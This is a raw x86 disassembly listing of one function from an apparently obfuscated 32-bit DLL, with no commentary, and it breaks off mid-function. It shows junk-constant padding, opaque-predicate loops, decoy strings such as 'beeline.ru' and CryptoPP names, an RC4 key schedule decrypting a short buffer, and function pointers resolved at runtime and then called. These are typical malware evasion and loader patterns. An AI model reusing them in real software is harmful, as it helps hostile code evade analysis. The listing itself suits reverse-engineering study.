mov dword [ebp - 0x64], 0x932
mov dword [ebp - 0x60], ecx
mov dword [ebp - 0x5c], 0x2292
mov dword [ebp - 0x58], ecx
mov dword [ebp - 0x54], ecx
mov dword [ebp - 0x50], 0x1eb9
cmp eax, 2
je 0x10021a92
inc eax
cmp eax, 7
jl 0x10021a87
mov eax, dword [ebp + eax*4 - 0x68]
xor eax, 0x28
mov dword [ebp - 0x8c], 0x126c
push 0x2a
pop ecx
mov dword [ebp - 0xe4], eax
xor esi, 0x79ba2b32
mov eax, ebx
mov dword [ebp - 0x98], ecx
mov dword [ebp - 0x94], ecx
mov dword [ebp - 0x90], ecx
mov dword [ebp - 0x88], 0x1123
mov dword [ebp - 0x84], ecx
mov dword [ebp - 0x80], ecx
mov dword [ebp - 0x7c], 0xc58
mov dword [ebp - 0x78], 0x25ee
mov dword [ebp - 0x74], 0x1552
cmp eax, 1
je 0x10021af9
inc eax
cmp eax, 0xa
jl 0x10021aee
mov eax, dword [ebp + eax*4 - 0x98]
mov ecx, 0x96
xor eax, 0x64
mov dword [ebp - 0xbc], ecx
xor esi, 0xdf495169
mov dword [ebp - 0xe8], eax
mov eax, ebx
mov dword [0x100402c0], esi
mov dword [ebp - 0xb8], 0xb96
mov dword [ebp - 0xb4], 0x1f05
mov dword [ebp - 0xb0], ecx
mov dword [ebp - 0xac], 0x1709
mov dword [ebp - 0xa8], 0x1f9e
mov dword [ebp - 0xa4], ecx
mov dword [ebp - 0xa0], ecx
mov dword [ebp - 0x9c], ecx
cmp eax, 6
je 0x10021b6c
inc eax
cmp eax, edx
jl 0x10021b62
mov eax, dword [ebp + eax*4 - 0xbc]
mov edx, str.4y44V5d5
xor eax, 0xd1
mov dword [ebp - 0x98], 0x19b3
push 0x2e
mov dword [ebp - 0xec], eax
mov ecx, esi
pop eax
push esi
push str.._AW4RandomNumberType_Integer_CryptoPP__
mov edi, ebx
mov dword [ebp - 0x94], 0xe21
mov dword [ebp - 0x90], 0x1d9e
mov dword [ebp - 0x8c], 0x344
mov dword [ebp - 0x88], 0x172e
mov dword [ebp - 0x84], eax
mov dword [ebp - 0x80], 0x1ef2
mov dword [ebp - 0x7c], eax
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x74], 0x10c9
call fcn.1001dd22
pop ecx
pop ecx
cmp edi, 8
je 0x10021bee
inc edi
cmp edi, 0xa
jl 0x10021be3
mov eax, dword [ebp + edi*4 - 0x98]
mov ecx, 0xca
xor eax, 0x23
mov dword [ebp - 0xdc], 0x14aa
mov dword [ebp - 0x108], eax
mov eax, ebx
mov dword [ebp - 0xd8], 0x24b9
mov dword [ebp - 0xd4], ecx
mov dword [ebp - 0xd0], 0x109b
mov dword [ebp - 0xcc], ecx
mov dword [ebp - 0xc8], 0x443
cmp eax, 4
je 0x10021c44
inc eax
cmp eax, 6
jl 0x10021c39
mov eax, dword [ebp + eax*4 - 0xdc]
push 0x1a
pop ecx
xor eax, 0xc0
mov dword [ebp - 0xb8], ecx
push 9
mov dword [ebp - 0xf0], eax
mov eax, ebx
mov dword [ebp - 0xa0], ecx
mov dword [ebp - 0xbc], 0x17ed
mov dword [ebp - 0xb4], 0x565
mov dword [ebp - 0xb0], 0x6b8
mov dword [ebp - 0xac], 0x1d4e
mov dword [ebp - 0xa8], 0x11ca
mov dword [ebp - 0xa4], 0x1b3
mov dword [ebp - 0x9c], 0x1bbe
pop ecx
cmp eax, 7
je 0x10021cba
inc eax
cmp eax, ecx
jl 0x10021cb0
mov eax, dword [ebp + eax*4 - 0xbc]
mov edx, str._ttyyyoo4441uuuo
push ecx
mov dword [ebp - 0xf4], eax
mov ecx, str.4y44V5d5
mov eax, 0xfa
mov dword [ebp - 0x1b8], 0x1b59
push str.beeline.ru
mov dword [ebp - 0x1b4], 0xafa
mov dword [ebp - 0x1b0], 0x177a
mov dword [ebp - 0x1ac], eax
mov dword [ebp - 0x1a8], eax
mov dword [ebp - 0x1a4], eax
mov dword [ebp - 0x1a0], eax
mov dword [ebp - 0x19c], 0xc8f
mov dword [ebp - 0x198], 0x9e8
mov dword [ebp - 0x194], 0x7ba
mov dword [ebp - 0x190], 0x24a
mov dword [ebp - 0x18c], eax
call fcn.1001d7b3
mov edi, ebx
mov dword [ebp - 0x10], ebx
pop ecx
pop ecx
cmp byte [str.4y44V5d5], bl
je 0x10021d7e
push ecx
push str.beeline.ru
mov edx, str.4y44V5d5
call fcn.1001e83e
add esi, 0x15df8ead
inc edi
pop ecx
pop ecx
mov dword [0x100402c0], esi
cmp byte [edi + str.4y44V5d5], bl
jne 0x10021d54
mov dword [ebp - 0x10], edi
mov eax, str.6G6O6T6Y6c6q6z6
mov edx, eax
mov ecx, eax
call fcn.1001e4ea
mov edi, dword [ebp - 0x4c]
cmp edi, dword [ebp - 0x10]
jae 0x10021ddc
mov ebx, dword [ebp - 0x10]
push ecx
push ecx
mov ecx, str.beeline.ru
call fcn.1001ef1a
pop ecx
pop ecx
cmp edi, 0x1feb
jne 0x10021dbe
imul esi, dword [0x100402c0], 0xaf40e803
call fcn.1001f638
jmp 0x10021dc4
mov esi, dword [0x100402c0]
add esi, 0x286dc3d2
mov dword [0x100402c0], esi
call fcn.1001fd2b
inc edi
cmp edi, ebx
jb 0x10021d97
xor ebx, ebx
push 0xc
mov eax, ebx
pop ecx
cmp eax, 4
je 0x10021deb
inc eax
cmp eax, ecx
jl 0x10021de1
mov eax, dword [ebp + eax*4 - 0x1b8]
xor eax, 0xf0
mov dword [ebp - 0x150], 0x10a6
mov dword [ebp - 0xf8], eax
mov eax, ebx
mov dword [ebp - 0x14c], 0x1c1f
mov dword [ebp - 0x148], 0x136c
mov dword [ebp - 0x144], ecx
mov dword [ebp - 0x140], ecx
mov dword [ebp - 0x13c], 0x17a2
mov dword [ebp - 0x138], 0x112c
mov dword [ebp - 0x134], 0x756
mov dword [ebp - 0x130], 0x2546
mov dword [ebp - 0x12c], 0x23a5
mov dword [ebp - 0x128], 0x608
cmp eax, 4
je 0x10021e70
inc eax
cmp eax, 0xb
jl 0x10021e65
mov eax, dword [ebp + eax*4 - 0x150]
xor eax, 4
mov dword [ebp - 0xfc], eax
call fcn.1001faa1
mov eax, ebx
imul esi, esi, 0x26e6540c
add esi, 0x680d1f5a
inc eax
cmp word [eax*2 + str.._AW4RandomNumberType_Integer_CryptoPP__], bx
jne 0x10021e8d
cmp eax, 0xa94
jbe 0x10021ead
xor esi, 0x58fecd7a
jmp 0x10021eb8
call fcn.100205a8
add esi, 0x87245a
mov dword [ebp - 0xc], esi
mov eax, ebx
mov dword [ebp - 0xdc], ebx
mov dword [ebp - 0xd8], 0xd34
mov dword [ebp - 0xd4], ebx
mov dword [ebp - 0xd0], 0x367
mov dword [ebp - 0xcc], ebx
mov dword [ebp - 0xc8], 0x15e1
test eax, eax
je 0x10021ef7
inc eax
cmp eax, 6
jl 0x10021eed
mov eax, dword [ebp + eax*4 - 0xdc]
lea edi, [ebp - 0xdc]
push 5
pop ecx
mov esi, str.CreateStreamOnHGlobal
mov dword [ebp - 0x100], eax
rep movsd dword es:[edi], dword [esi]
push 0x62
pop eax
mov edx, ebx
movsw word es:[edi], word [esi]
cmp byte [ebp - 0xdc], al
jmp 0x10021f47
test al, al
je 0x10021f4c
cmp byte [ebp + edx - 0xdc], 0
je 0x10021f4c
call fcn.1001edfc
mov edx, dword [ebp - 8]
inc edx
mov al, byte [edx + str.beeline.ru]
cmp al, byte [ebp + edx - 0xdc]
mov dword [ebp - 8], edx
je 0x10021f23
movzx eax, byte [ebp + edx - 0xdc]
movzx ecx, byte [edx + str.beeline.ru]
sub ecx, eax
cmp ecx, 0x1542
jne 0x10021f6e
or dword [ebp - 0xc], 0x8dce1def
jmp 0x10021f78
imul eax, dword [ebp - 0xc], 0x89554265
mov dword [ebp - 0xc], eax
push 8
pop edx
mov dword [ebp - 0x68], 0x12ef
mov eax, ebx
mov dword [ebp - 0x64], 0x1c89
mov dword [ebp - 0x60], 0x1929
mov dword [ebp - 0x5c], edx
mov dword [ebp - 0x58], 0x1dc6
mov dword [ebp - 0x54], edx
mov dword [ebp - 0x50], 0xd28
cmp eax, 3
je 0x10021fb1
inc eax
cmp eax, 7
jl 0x10021fa6
mov eax, dword [ebp + eax*4 - 0x68]
push 0x52
pop ecx
mov dword [ebp - 0x104], eax
mov eax, ebx
mov dword [ebp - 0x6c], ecx
mov dword [ebp - 0x68], 0xb04
mov dword [ebp - 0x64], 0x16fb
mov dword [ebp - 0x60], ecx
mov dword [ebp - 0x5c], ecx
mov dword [ebp - 0x58], 0xd90
mov dword [ebp - 0x54], 0xc2e
mov dword [ebp - 0x50], 0x2460
test eax, eax
je 0x10021ff5
inc eax
cmp eax, edx
jl 0x10021fec
mov eax, dword [ebp + eax*4 - 0x6c]
xor eax, 0x53
mov dword [ebp - 0x30], eax
call fcn.1001fd2b
mov esi, str.77W7b7m7
lea edi, [ebp - 0x2c]
push 0x62
pop ecx
mov eax, ebx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
cmp byte [ebp - 0x2c], cl
jmp 0x10022043
test cl, cl
je 0x10022048
cmp byte [ebp + eax - 0x2c], 0
je 0x10022048
push str.._AW4RandomNumberType_Integer_CryptoPP__
mov ecx, str.4y44V5d5
call fcn.1001f40a
mov eax, dword [ebp - 0x10]
inc eax
pop ecx
mov cl, byte [eax + str.beeline.ru]
cmp cl, byte [ebp + eax - 0x2c]
mov dword [ebp - 0x10], eax
je 0x1002201a
call fcn.1002015a
mov ecx, dword [ebp - 0x10]
movzx eax, byte [ebp + ecx - 0x2c]
movzx ecx, byte [ecx + str.beeline.ru]
sub ecx, eax
cmp ecx, 0xcb0
jne 0x1002206d
mov ecx, 0xd310d734
jmp 0x10022077
call fcn.100205a8
mov ecx, 0xcfdb71f7
mov eax, dword [ebp - 0xc]
imul eax, ecx
xor ecx, ecx
inc ecx
mov dword [ebp - 0x184], 0x7fb
mov dword [ebp - 0x180], ecx
mov dword [ebp - 0x17c], 0x1548
mov dword [ebp - 0x178], ecx
mov dword [0x100402c0], eax
mov eax, ebx
mov dword [ebp - 0x174], 0x2191
mov dword [ebp - 0x170], 0x23e3
mov dword [ebp - 0x16c], 0x1062
mov dword [ebp - 0x168], 0x22fb
mov dword [ebp - 0x164], ecx
mov dword [ebp - 0x160], 0x1547
mov dword [ebp - 0x15c], 0x6a8
mov dword [ebp - 0x158], 0x84d
mov dword [ebp - 0x154], 0x1909
cmp eax, ecx
je 0x10022107
inc eax
cmp eax, 0xd
jl 0x100220fd
mov eax, dword [ebp + eax*4 - 0x184]
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x2c], 0xb9079d3d
mov dword [ebp - 0x28], 0xac0f8a1d
mov dword [ebp - 0x24], 0x4b58d5cf
call fcn.1001e69c
mov eax, dword [0x100402c0]
mov esi, str.beeline.ru
push ecx
push str.4y44V5d5
mov edx, eax
mov ecx, eax
call fcn.10020511
mov eax, dword [0x100402c0]
xor eax, 0xda78e353
inc esi
pop ecx
pop ecx
mov dword [0x100402c0], eax
cmp byte [esi], 0
jne 0x10022135
push 0x12
pop ecx
mov esi, str.Invalid_bit_depth_for_paletted_image
mov dword [ebp - 0xc], eax
lea edi, [ebp - 0x210]
mov edx, ebx
rep movsd dword es:[edi], dword [esi]
push 0x2e
pop ecx
mov dword [ebp - 0x10], edx
movsw word es:[edi], word [esi]
cmp cx, word [ebp - 0x210]
jne 0x100221f8
mov eax, ebx
test cx, cx
je 0x100221bb
cmp word [ebp + eax - 0x210], bx
je 0x100221bb
mov eax, str.6G6O6T6Y6c6q6z6
mov edx, eax
mov ecx, eax
call fcn.1001f17f
mov edx, dword [ebp - 0x10]
inc edx
mov dword [ebp - 0x10], edx
lea eax, [edx + edx]
movzx ecx, word [eax + str.._AW4RandomNumberType_Integer_CryptoPP__]
cmp cx, word [ebp + eax - 0x210]
je 0x10022183
mov esi, dword [ebp - 0x4c]
cmp esi, edx
jae 0x100221f5
mov edi, dword [ebp - 0x10]
push str.._AW4RandomNumberType_Integer_CryptoPP__
mov ecx, str.4y44V5d5
call fcn.1001f40a
mov eax, dword [ebp - 0xc]
pop ecx
cmp esi, 0x178e
jne 0x100221e5
add eax, 0x4c297939
imul eax, eax, 0xcf59f262
inc esi
mov dword [ebp - 0xc], eax
cmp esi, edi
jb 0x100221c5
jmp 0x100221f8
mov eax, dword [ebp - 0xc]
mov esi, str.unknown_error__lx
lea edi, [ebp - 0xd8]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov edi, ebx
and eax, 0x8771b848
inc edi
cmp byte [edi + str.beeline.ru], 0
jne 0x1002220b
mov dword [ebp - 0xc], eax
call fcn.1001faa1
mov esi, dword [ebp - 0x4c]
mov eax, dword [ebp - 0xc]
cmp esi, edi
jae 0x10022250
cmp esi, 0x2324
jne 0x10022239
or eax, 0x7f37833f
and eax, 0x8f9934b3
mov dword [0x100402c0], eax
call fcn.1001e69c
mov eax, dword [0x100402c0]
inc esi
jmp 0x10022228
imul esi, eax, 0x888110fe
mov eax, ebx
mov dword [ebp - 0x14], ebx
mov byte [ebp + eax - 0x49c], al
inc eax
cmp eax, 0x100
jb 0x1002225b
mov ecx, ebx
mov dword [ebp - 8], ebx
mov al, byte [ebp + ecx - 0x49c]
xor edx, edx
mov byte [ebp - 1], al
mov eax, ecx
push 0x11
pop ecx
div ecx
movzx ecx, byte [ebp - 1]
movzx eax, byte [ebp + edx - 0xd8]
add eax, dword [ebp - 0x14]
add ecx, eax
movzx eax, cl
mov dword [ebp - 0x14], eax
call fcn.100202d1
mov eax, ebx
imul esi, esi, 0x73986cc0
inc eax
cmp byte [eax + str.beeline.ru], 0
jne 0x100222a0
mov edi, esi
mov dword [ebp - 0x18], eax
mov dword [ebp - 0xc], esi
cmp dword [ebp - 0x10], eax
jae 0x10022306
mov ebx, eax
jmp 0x100222c3
mov esi, edi
mov edx, str.6G6O6T6Y6c6q6z6
mov ecx, str.._AW4RandomNumberType_Integer_CryptoPP__
call fcn.1001f17f
mov ecx, dword [ebp - 0x10]
cmp ecx, 0x25ce
jne 0x100222f1
lea esi, [edi + 0x3d240bfd]
mov dword [0x100402c0], esi
call fcn.10020205
mov ecx, dword [ebp - 0x10]
xor esi, 0xbec77851
inc ecx
mov dword [ebp - 0x10], ecx
mov edi, esi
cmp ecx, ebx
jb 0x100222c1
mov dword [ebp - 0xc], esi
xor ebx, ebx
mov edx, dword [ebp - 0x14]
mov ecx, dword [ebp - 8]
mov al, byte [ebp + edx - 0x49c]
mov byte [ebp + ecx - 0x49c], al
inc ecx
mov al, byte [ebp - 1]
mov byte [ebp + edx - 0x49c], al
mov dword [ebp - 8], ecx
cmp ecx, 0x100
jb 0x1002226f
mov esi, ebx
mov dword [ebp - 8], ebx
mov edx, ebx
lea eax, [edx + 1]
movzx eax, al
mov dword [ebp - 0x20], eax
mov al, byte [ebp + eax - 0x49c]
mov byte [ebp - 1], al
movzx eax, al
mov dword [ebp - 0x1c], eax
add eax, esi
cmp byte [str.4y44V5d5], 0
mov esi, ebx
movzx eax, al
mov dword [ebp - 0x18], eax
je 0x10022395
call fcn.1002015a
xor edi, 0x322b1e73
inc esi
cmp byte [esi + str.4y44V5d5], 0
jne 0x10022367
mov dword [0x100402c0], edi
mov dword [ebp - 0xc], edi
cmp esi, 0x97a
jne 0x10022395
xor edi, 0x77c191c
jmp 0x100223a1
call fcn.1001edfc
imul edi, dword [ebp - 0xc], 0x52a33671
mov esi, dword [ebp - 0x18]
mov edx, dword [ebp - 0x20]
mov ecx, dword [ebp - 8]
mov dword [0x100402c0], edi
mov al, byte [ebp + esi - 0x49c]
mov byte [ebp + edx - 0x49c], al
mov al, byte [ebp - 1]
mov byte [ebp + esi - 0x49c], al
movzx eax, byte [ebp + edx - 0x49c]
add eax, dword [ebp - 0x1c]
movzx eax, al
mov dword [ebp - 0xc], edi
mov al, byte [ebp + eax - 0x49c]
xor al, byte [ebp + ecx - 0x2c]
mov byte [ebp + ecx - 0x4cc], al
inc ecx
mov dword [ebp - 8], ecx
cmp ecx, 0xc
jb 0x1002233b
push dword [ebp + 8]
mov esi, dword [ebp - 0x34]
lea edx, [ebp - 0x4dc]
push dword [ebp - 0x1c0]
mov ecx, dword [ebp - 0x114]
push esi
mov byte [ebp - 0x4c0], bl
call fcn.1001834c
call eax
mov dword [ebp - 0x114], eax
cmp eax, dword [ebp - 0x1bc]
je 0x100232b3
mov ecx, dword [ebp - 0x118]
lea edx, [ebp - 0x4ac]
push eax
push esi
call fcn.1001834c
call eax
mov dword [ebp - 0x20], eax
cmp eax, dword [ebp - 0x11c]
je 0x100232b3
push ecx
push ecx
mov ecx, str.beeline.ru
call fcn.1001ef1a
pop ecx
pop ecx
push 8
pop ecx
push 0x2e
mov esi, str.ExtCreateRegion
lea edi, [ebp - 0xb8]
pop eax
mov edx, ebx
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 8], edx
cmp ax, word [ebp - 0xb8]
jne 0x100224b6
mov ecx, eax
mov eax, ebx
test cx, cx
je 0x100224b6
cmp word [ebp + eax - 0xb8], bx
je 0x100224b6
call fcn.1001fe62
mov edx, dword [ebp - 8]
inc edx
mov dword [ebp - 8], edx
lea eax, [edx + edx]
movzx ecx, word [eax + str.._AW4RandomNumberType_Integer_CryptoPP__]
cmp cx, word [ebp + eax - 0xb8]
je 0x10022487
movzx eax, byte [ebp + edx*2 - 0xb8]
movzx ecx, byte [edx*2 + str.._AW4RandomNumberType_Integer_CryptoPP__]
sub ecx, eax
mov eax, dword [0x100402c0]
cmp ecx, 0x2648
jae 0x100224dc
and eax, 0xff06134
jmp 0x100224e1
xor eax, 0x9aa19a1d
push dword [ebp - 0x20]
mov ecx, dword [ebp - 0x120]
lea edx, [ebp - 0x4bc]
or eax, 0xb895bd2
mov dword [0x100402c0], eax
call fcn.1001834c
call eax
mov esi, eax
mov dword [ebp - 0xc], esi
cmp esi, dword [ebp - 0x124]
je 0x100232b3
push dword [ebp - 0x114]
mov ecx, dword [ebp - 0xe0]
lea edx, [ebp - 0x4ec]
push dword [ebp - 0x34]
call fcn.1001834c
call eax
call fcn.1001dfd1
mov esi, dword [0x100402c0]
mov edi, str.beeline.ru
call fcn.100205a8
add esi, 0xa29b5313
inc edi
cmp byte [edi], 0
jne 0x1002253e
mov eax, dword [ebp - 0xc0]
lea edx, [ebp - 0xc4]
push dword [ebp - 0xfc]
mov edi, dword [ebp - 0xc]
or esi, 0x7f4804c0
mov byte [ebp - 0xc4], al
mov ecx, edi
mov eax, dword [ebp - 0xe4]
mov byte [ebp - 0xc3], al
mov eax, dword [ebp - 0xe8]
mov byte [ebp - 0xc2], al
mov eax, dword [ebp - 0xec]
mov byte [ebp - 0xc1], al
mov eax, dword [ebp - 0x108]
mov byte [ebp - 0xc0], al
mov eax, dword [ebp - 0xf0]
mov byte [ebp - 0xbf], al
mov eax, dword [ebp - 0xf4]
mov byte [ebp - 0xbe], al
mov eax, dword [ebp - 0xf8]
mov byte [ebp - 0xbd], al
call fcn.1000f2ba
pop ecx
cmp eax, dword [ebp - 0x100]
je 0x10022627
lea eax, [esi - 0x5c125896]
mov dword [ebp - 0x68], 0x179d
and eax, 0xd7daf77b
mov dword [ebp - 0x64], 0x2672
push 0x25
pop ecx
or eax, 0x5458f76b
mov dword [ebp - 0x60], ecx
mov dword [0x100402c0], eax
mov dword [ebp - 0x5c], ecx
mov dword [ebp - 0x58], 0x1367
mov dword [ebp - 0x54], 0x1c8a
mov dword [ebp - 0x50], ecx
cmp ebx, 2
je 0x1002261c
inc ebx
cmp ebx, 7
jl 0x10022611
mov eax, dword [ebp + ebx*4 - 0x68]
xor eax, ecx
jmp 0x100232b3
add edi, dword [ebp - 0x104]
or esi, 0x343b6d2a
mov eax, dword [ebp - 0x70]
mov dword [ebp - 0xc], edi
mov dword [0x100402c0], esi
cmp eax, dword [ebp - 0x30]
je 0x10023298
push 0x1e
pop eax
mov word [ebp - 0x14], 0x8bfe
mov byte [ebp - 0x12], 0xa2
mov byte [ebp - 0x11], al
push 0x18
pop ecx
push 4
pop edx
mov eax, ebx
mov dword [ebp - 0x304], 0x223c
mov dword [ebp - 0x300], 0xa81
mov dword [ebp - 0x2fc], edx
mov dword [ebp - 0x2f8], edx
mov dword [ebp - 0x2f4], 0x257a
mov dword [ebp - 0x2f0], 0x1f0b
mov dword [ebp - 0x2ec], 0xef1
mov dword [ebp - 0x2e8], 0x2524
mov dword [ebp - 0x2e4], 0x1004
mov dword [ebp - 0x2e0], 0x4ad
mov dword [ebp - 0x2dc], edx
cmp eax, 3
je 0x100226cd
inc eax
cmp eax, 0xb
jl 0x100226c2
mov eax, dword [ebp + eax*4 - 0x304]
mov dword [ebp - 0x100], eax
mov eax, ebx
mov dword [ebp - 0x228], edx
mov dword [ebp - 0x224], 0x1652
mov dword [ebp - 0x220], 0x2629
mov dword [ebp - 0x21c], edx
mov dword [ebp - 0x218], 0x179f
mov dword [ebp - 0x214], 0x1674
test eax, eax
je 0x1002271a
inc eax
cmp eax, 6
jl 0x10022710
mov eax, dword [ebp + eax*4 - 0x228]
push 9
mov dword [ebp - 0xfc], eax
mov eax, ebx
mov dword [ebp - 0x26c], edx
mov dword [ebp - 0x268], 0x1bf
mov dword [ebp - 0x264], 0x253
mov dword [ebp - 0x260], edx
mov dword [ebp - 0x25c], 0x478
mov dword [ebp - 0x258], 0x395
mov dword [ebp - 0x254], edx
mov dword [ebp - 0x250], edx
mov dword [ebp - 0x24c], edx
pop edi
cmp eax, 8
je 0x1002277c
inc eax
cmp eax, edi
jl 0x10022772
mov eax, dword [ebp + eax*4 - 0x26c]
mov dword [ebp - 0xf8], eax
mov eax, ebx
mov dword [ebp - 0x14c], 0x1a5d
mov dword [ebp - 0x148], edx
mov dword [ebp - 0x144], edx
mov dword [ebp - 0x140], 0x17e4
mov dword [ebp - 0x13c], 0x17e5
mov dword [ebp - 0x138], 0x813
mov dword [ebp - 0x134], 0x2277
mov dword [ebp - 0x130], 0x995
mov dword [ebp - 0x12c], 0x2d7
mov dword [ebp - 0x128], edx
cmp eax, 2
je 0x100227ee
inc eax
cmp eax, 0xa
jl 0x100227e3
mov eax, dword [ebp + eax*4 - 0x14c]
and esi, 0xc1a902a7
or esi, 0x41890283
mov dword [ebp - 0xf4], eax
mov dword [ebp - 0x70], esi
mov eax, ebx
mov dword [ebp - 0x290], 0x1945
mov dword [ebp - 0x28c], 0x3c9
mov dword [ebp - 0x288], ebx
mov dword [ebp - 0x284], ebx
mov dword [ebp - 0x280], 0x19c2
mov dword [ebp - 0x27c], ebx
mov dword [ebp - 0x278], 0x563
mov dword [ebp - 0x274], 0x1506
mov dword [ebp - 0x270], 0x1506
cmp eax, 3
je 0x10022864
inc eax
cmp eax, edi
jl 0x1002285a
mov eax, dword [ebp + eax*4 - 0x290]
mov dword [ebp - 0xe8], eax
mov eax, ebx
mov dword [ebp - 0x368], 0x1088
mov dword [ebp - 0x364], 0x1ead
mov dword [ebp - 0x360], ecx
mov dword [ebp - 0x35c], 0x1c67
mov dword [ebp - 0x358], 0x3b6
mov dword [ebp - 0x354], 0x187c
mov dword [ebp - 0x350], ecx
mov dword [ebp - 0x34c], 0x1fcb
mov dword [ebp - 0x348], ecx
mov dword [ebp - 0x344], 0x1d9c
mov dword [ebp - 0x340], 0x21c0
mov dword [ebp - 0x33c], 0x308
mov dword [ebp - 0x338], 0x1bea
cmp eax, 2
je 0x100228f4
inc eax
cmp eax, 0xd
jl 0x100228e9
mov eax, dword [ebp + eax*4 - 0x368]
lea edi, [ebp - 0xd8]
mov esi, str.GdipCreateMatrix2
mov dword [ebp - 0xe4], eax
xor ecx, ecx
mov dword [ebp - 0x39c], 0x1ed0
inc ecx
mov dword [ebp - 0x394], 0xe2c
mov eax, ebx
mov dword [ebp - 0x398], ecx
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x390], ecx
mov dword [ebp - 0x38c], 0x562
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x388], 0x12b4
mov dword [ebp - 0x384], ecx
mov dword [ebp - 0x380], 0x19a8
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x37c], 0x1a4d
mov dword [ebp - 0x378], ecx
mov dword [ebp - 0x374], 0xb9e
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x370], ecx
mov dword [ebp - 0x36c], 0x14b3
movsw word es:[edi], word [esi]
cmp byte [ebp - 0xd8], 0x20
jne 0x100229bb
mov al, 0x20
mov esi, ebx
test al, al
je 0x100229b8
cmp byte [ebp + esi - 0xd8], 0
je 0x100229b8
call fcn.100205a8
mov al, byte [esi + 0x10038de1]
inc esi
cmp al, byte [ebp + esi - 0xd8]
je 0x10022995
mov eax, dword [ebp - 0x30]
cmp eax, 0xb
je 0x100229c6
inc eax
cmp eax, 0xd
jl 0x100229bb
mov eax, dword [ebp + eax*4 - 0x39c]
push 0x12
pop edx
push 9
pop ecx
mov dword [ebp - 0x108], eax
mov eax, ebx
mov dword [ebp - 0x248], 0x9fd
mov dword [ebp - 0x244], 0x233f
mov dword [ebp - 0x240], edx
mov dword [ebp - 0x23c], 0x1d13
mov dword [ebp - 0x238], 0xb71
mov dword [ebp - 0x234], 0x10d7
mov dword [ebp - 0x230], ecx
mov dword [ebp - 0x22c], edx
cmp eax, 2
je 0x10022a2a
inc eax
cmp eax, 8
jl 0x10022a1f
mov eax, dword [ebp + eax*4 - 0x248]
xor eax, 2
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0xec], eax
call fcn.1001e9cf
mov esi, dword [ebp - 0x70]
mov edi, ebx
or esi, 0x169f8553
call fcn.1001dfd1
add esi, 0x4e0f3c36
inc edi
cmp word [edi*2 + str.6G6O6T6Y6c6q6z6], bx
jne 0x10022a4d
mov dword [ebp - 0x70], edi
mov edi, dword [ebp - 0x30]
mov dword [0x100402c0], esi
call fcn.1001f783
cmp dword [ebp - 0x70], 0x1286
jae 0x10022a99
mov eax, str.6G6O6T6Y6c6q6z6
mov edx, eax
mov ecx, eax
call fcn.1001f17f
mov esi, dword [0x100402c0]
or esi, 0x95f06939
jmp 0x10022aaa
call fcn.1001e188
mov esi, dword [0x100402c0]
xor esi, 0x26679291
mov eax, 0xd2
mov dword [ebp - 0x2b0], 0x2209
push 9
mov dword [ebp - 0x2b4], eax
mov dword [ebp - 0x2ac], eax
mov dword [ebp - 0x2a8], eax
mov dword [ebp - 0x2a4], eax
mov dword [ebp - 0x2a0], 0x2473
mov dword [ebp - 0x29c], 0x53e
mov dword [ebp - 0x298], 0xa3c
mov dword [ebp - 0x294], 0x17ab
pop eax
cmp edi, 3
je 0x10022b06
inc edi
cmp edi, eax
jl 0x10022afc
mov eax, dword [ebp + edi*4 - 0x2b4]
mov edi, ebx
xor eax, 0xd0
mov dword [ebp - 0xb4], 0x166e
push 0x41
mov dword [ebp - 0x70], eax
mov eax, ebx
pop ecx
mov dword [ebp - 0x30], eax
mov dword [ebp - 0xb8], ecx
mov dword [ebp - 0xb0], 0xea7
mov dword [ebp - 0xac], 0x26b
mov dword [ebp - 0xa8], 0xfee
mov dword [ebp - 0xa4], 0x1b95
mov dword [ebp - 0xa0], ecx
mov dword [ebp - 0x9c], 0xf68
imul esi, esi, 0xbe0b42c1
inc edi
mov dword [0x100402c0], esi
cmp word [edi*2 + str.6G6O6T6Y6c6q6z6], bx
jne 0x10022b67
mov dword [ebp - 0x1c], esi
cmp dword [ebp - 0x10], edi
jae 0x10022be2
mov ebx, esi
mov dword [ebp - 0x34], esi
push ecx
push esi
call fcn.1001f5f4
cmp dword [ebp - 0x10], 0xbe
mov esi, dword [ebp - 0x34]
pop ecx
pop ecx
jne 0x10022bb9
mov esi, ebx
or esi, 0x2a9eaa98
push str.6G6O6T6Y6c6q6z6
mov dword [0x100402c0], esi
call fcn.1001eb05
pop ecx
xor esi, 0x7b929aa0
mov ebx, esi
mov dword [0x100402c0], esi
call fcn.1001dfd1
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x10], eax
cmp eax, edi
jb 0x10022b8b
mov eax, dword [ebp - 0x30]
xor ebx, ebx
mov dword [ebp - 0x1c], esi
cmp eax, 6
je 0x10022bed
inc eax
cmp eax, 8
jl 0x10022be2
mov eax, dword [ebp + eax*4 - 0xb8]
mov edx, str.beeline.ru
xor eax, 0x49
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0xf0], eax
mov eax, 0xeb
push ecx
push str._ttyyyoo4441uuuo
mov dword [ebp - 0x334], eax
mov dword [ebp - 0x330], eax
mov dword [ebp - 0x32c], 0x1dab
mov dword [ebp - 0x328], 0x12df
mov dword [ebp - 0x324], 0xdfc
mov dword [ebp - 0x320], eax
mov dword [ebp - 0x31c], 0x2117
mov dword [ebp - 0x318], 0x1161
mov dword [ebp - 0x314], 0x241b
mov dword [ebp - 0x310], 0x25e2
mov dword [ebp - 0x30c], eax
mov dword [ebp - 0x308], 0x1645
call fcn.1001e83e
pop ecx
pop ecx
push 0xd
pop ecx
push 0x2e
mov esi, str.unexpected_tokenizer_mode
lea edi, [ebp - 0x1fc]
pop eax
mov edx, ebx
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x34], edx
cmp ax, word [ebp - 0x1fc]
jne 0x10022cdd
mov ecx, eax
mov eax, ebx
test cx, cx
je 0x10022cdd
cmp word [ebp + eax - 0x1fc], bx
je 0x10022cdd
mov edx, str.6G6O6T6Y6c6q6z6
mov ecx, str.._AW4RandomNumberType_Integer_CryptoPP__
